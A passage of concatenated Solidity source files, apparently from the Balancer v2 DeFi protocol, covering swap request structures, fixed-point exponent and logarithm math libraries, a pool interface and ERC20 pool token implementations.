// The pool receives `tokenIn` and sends `tokenOut`. `amount` is the number of `tokenIn` tokens the pool will take
// in, or the number of `tokenOut` tokens the Pool will send out, depending on the given swap `kind`.
//
// All other fields are not strictly necessary for most swaps, but are provided to support advanced scenarios in
// some Pools.
//
// `poolId` is the ID of the Pool involved in the swap - this is useful for Pool contracts that implement more than
// one Pool.
//
// The meaning of `lastChangeBlock` depends on the Pool specialization:
// - Two Token or Minimal Swap Info: the last block in which either `tokenIn` or `tokenOut` changed its total
// balance.
// - General: the last block in which *any* of the Pool's registered tokens changed its total balance.
//
// `from` is the origin address for the funds the Pool receives, and `to` is the destination address
// where the Pool sends the outgoing tokens.
//
// `userData` is extra data provided by the caller - typically a signature from a trusted party.
struct SwapRequest {
IVault.SwapKind kind;
IERC20 tokenIn;
IERC20 tokenOut;
uint256 amount;
// Misc data
bytes32 poolId;
uint256 lastChangeBlock;
address from;
address to;
bytes userData;
}
}
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.7.0;
import "../balancer-core-v2/lib/openzeppelin/ERC20.sol";
interface IERC20Decimals is IERC20 {
// Non standard but almost all erc20 have this
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
// Software.
// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = _ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = _ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = _ln_36(base);
} else {
logBase = _ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = _ln_36(arg);
} else {
logArg = _ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {
return _ln_36(a) / ONE_18;
} else {
return _ln(a);
}
}
/**
* @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function _ln(int256 a) private pure returns (int256) {
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-_ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function _ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./LogExpMath.sol";
import "../helpers/BalancerErrors.sol";
/* solhint-disable private-vars-leading-underscore */
library FixedPoint {
uint256 internal constant ONE = 1e18; // 18 decimal places
uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14)
// Minimum base for the power function when the exponent is 'free' (larger than ONE).
uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18;
function add(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
// Fixed Point addition is the same as regular checked addition
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
return product / ONE;
}
function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 product = a * b;
_require(a == 0 || product / a == b, Errors.MUL_OVERFLOW);
if (product == 0) {
return 0;
} else {
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((product - 1) / ONE) + 1;
}
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
return aInflated / b;
}
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
uint256 aInflated = a * ONE;
_require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow
// The traditional divUp formula is:
// divUp(x, y) := (x + y - 1) / y
// To avoid intermediate overflow in the addition, we distribute the division and get:
// divUp(x, y) := (x - 1) / y + 1
// Note that this requires x != 0, which we already tested for.
return ((aInflated - 1) / b) + 1;
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above
* the true value (that is, the error function expected - actual is always positive).
*/
function powDown(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
if (raw < maxError) {
return 0;
} else {
return sub(raw, maxError);
}
}
/**
* @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below
* the true value (that is, the error function expected - actual is always negative).
*/
function powUp(uint256 x, uint256 y) internal pure returns (uint256) {
uint256 raw = LogExpMath.pow(x, y);
uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1);
return add(raw, maxError);
}
/**
* @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1.
*
* Useful when computing the complement for values with some level of relative error, as it strips this error and
* prevents intermediate negative values.
*/
function complement(uint256 x) internal pure returns (uint256) {
return (x < ONE) ? (ONE - x) : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev Pool contracts with the MinimalSwapInfo or TwoToken specialization settings should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will grant
* to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IMinimalSwapInfoPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256 currentBalanceTokenIn,
uint256 currentBalanceTokenOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../lib/math/Math.sol";
import "../lib/openzeppelin/IERC20.sol";
import "../lib/openzeppelin/IERC20Permit.sol";
import "../lib/openzeppelin/EIP712.sol";
/**
* @title Highly opinionated token implementation
* @author Balancer Labs
* @dev
* - Includes functions to increase and decrease allowance as a workaround
* for the well-known issue with `approve`:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* - Allows for 'infinite allowance', where an allowance of 0xff..ff is not
* decreased by calls to transferFrom
* - Lets a token holder use `transferFrom` to send their own tokens,
* without first setting allowance
* - Emits 'Approval' events whenever allowance is changed by `transferFrom`
*/
contract BalancerPoolToken is IERC20, IERC20Permit, EIP712 {
using Math for uint256;
// State variables
uint8 private constant _DECIMALS = 18;
mapping(address => uint256) private _balance;
mapping(address => mapping(address => uint256)) private _allowance;
uint256 private _totalSupply;
string private _name;
string private _symbol;
mapping(address => uint256) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPE_HASH = keccak256(
"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"
);
// Function declarations
constructor(string memory tokenName, string memory tokenSymbol) EIP712(tokenName, "1") {
_name = tokenName;
_symbol = tokenSymbol;
}
// External functions
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowance[owner][spender];
}
function balanceOf(address account) external view override returns (uint256) {
return _balance[account];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_setAllowance(msg.sender, spender, amount);
return true;
}
function increaseApproval(address spender, uint256 amount) external returns (bool) {
_setAllowance(msg.sender, spender, _allowance[msg.sender][spender].add(amount));
return true;
}
function decreaseApproval(address spender, uint256 amount) external returns (bool) {
uint256 currentAllowance = _allowance[msg.sender][spender];
if (amount >= currentAllowance) {
_setAllowance(msg.sender, spender, 0);
} else {
_setAllowance(msg.sender, spender, currentAllowance.sub(amount));
}
return true;
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_move(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
uint256 currentAllowance = _allowance[sender][msg.sender];
_require(msg.sender == sender || currentAllowance >= amount, Errors.INSUFFICIENT_ALLOWANCE);
_move(sender, recipient, amount);
if (msg.sender != sender && currentAllowance != uint256(-1)) {
// Because of the previous require, we know that if msg.sender != sender then currentAllowance >= amount
_setAllowance(sender, msg.sender, currentAllowance - amount);
}
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
// solhint-disable-next-line not-rely-on-time
_require(block.timestamp <= deadline, Errors.EXPIRED_PERMIT);
uint256 nonce = _nonces[owner];
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPE_HASH, owner, spender, value, nonce, deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ecrecover(hash, v, r, s);
_require((signer != address(0)) && (signer == owner), Errors.INVALID_SIGNATURE);
_nonces[owner] = nonce + 1;
_setAllowance(owner, spender, value);
}
// Public functions
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function nonces(address owner) external view override returns (uint256) {
return _nonces[owner];
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
// Internal functions
function _mintPoolTokens(address recipient, uint256 amount) internal {
_balance[recipient] = _balance[recipient].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), recipient, amount);
}
function _burnPoolTokens(address sender, uint256 amount) internal {
uint256 currentBalance = _balance[sender];
_require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE);
_balance[sender] = currentBalance - amount;
_totalSupply = _totalSupply.sub(amount);
emit Transfer(sender, address(0), amount);
}
function _move(
address sender,
address recipient,
uint256 amount
) internal {
uint256 currentBalance = _balance[sender];
_require(currentBalance >= amount, Errors.INSUFFICIENT_BALANCE);
// Prohibit transfers to the zero address to avoid confusion with the
// Transfer event emitted by `_burnPoolTokens`
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_balance[sender] = currentBalance - amount;
_balance[recipient] = _balance[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// Private functions
function _setAllowance(
address owner,
address spender,
uint256 amount
) private {
_allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
